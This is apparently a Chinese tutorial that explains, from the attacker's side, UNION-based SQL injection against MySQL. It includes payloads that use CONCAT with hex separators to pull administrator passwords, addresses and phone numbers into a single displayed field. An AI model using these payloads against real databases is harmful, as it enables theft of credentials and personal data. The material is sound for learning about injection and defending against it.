Mysql数据库使用concat函数执行SQL注入查询
2015-04-09 10:04
597 查看
SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示出来。
例如:原本查询语句是
select username,email,content from test_table where user_id=uid;
其中uid,是用户输入的。正常显示结果会出现用户名,用户邮箱,用户留言内容。但是如果uid过滤不严,我们可以构造如下SQL语句来获得任意数据表信息。
复制代码 代码如下:
uid=-1 union select username ,password,content from test_talbe where user_id=管理员id;
实际执行就是
复制代码 代码如下:
select username,email,content from test_table where user_id=-1 union select username ,password,content from test_talbe where user_id=管理员id;
其中显示正常用户emai的地方,变成了显示管理员的密码了。
但是,往往事情并不是这么简单,首先要找到漏洞,其次构造这种语句时候要考虑各个字段的类型,让int或samllint类型的字段显示varchar显然不合适。最后就是本文要说的。
如果出现问题的SQL语句只有一个或两个字段怎么办,我们想知道很多东西,一两个字段太少了,远远不能满足我们的需要。那么我们可以使用concat函数。
concat函数本来是这样用的SELECT CONCAT('My', 'S', 'QL');执行结果是'MySQL'。也就是连接作用的。我们利用它来为我们服务,
uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理员id;
这个语句实际查询了六个字段,但是显示的时候,把password,sex,address,telephone等字段合在一起,显示在原本应该显示email的地方。
更好的方法:中间用分隔符分开:
uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理员id;
其中0×3a是“:”的十六进 制形式。
您可能感兴趣的文章:
相关文章推荐
- Mysql数据库使用concat函数执行SQL注入查询
- mysql数据库group_concat函数内包含case when 语法时的使用
- MySql数据库-查询、插入数据时转义函数的使用
- 百度查询后复制粘贴:mysql数据库中的find_in_set()函数的使用方法
- mysql数据库表单查询和函数的使用
- mysql查询分组归类函数-group_concat,通常与group_by一起使用
- MySql数据库-查询、插入数据时转义函数的使用
- mysql 查询多条结果,合并成一个结果,使用 group_concat()函数
- php使用PDO下exec()函数查询执行后受影响行数的方法
- 使用CHARINDEX函数提高查询速度
- T-SQL查询中使用的函数之系统函数
- Mysql的GROUP_CONCAT()函数使用方法
- 如何使用定时器settimeout、setInterval执行能传递参数的函数
- 使用函数传递参数来执行相应的数据库操作
- SQL SERVER2000教程-第五章 处理数据 第十六节 使用CHARINDEX函数代替Like进行数据查询
- SQL 查询合计方法及相应函数使用说明
- 服务器控件customvalidator可以在前台执行脚本判断,不过要使用固定的函数
- 在 Access 里使用查询建立 存储过程/视图, 并使用 ASP 执行
- javascript 等待几秒钟以后执行特定函数 简单timer使用法
- 服务器控件customvalidator可以在前台执行脚本判断,不过要使用固定的函数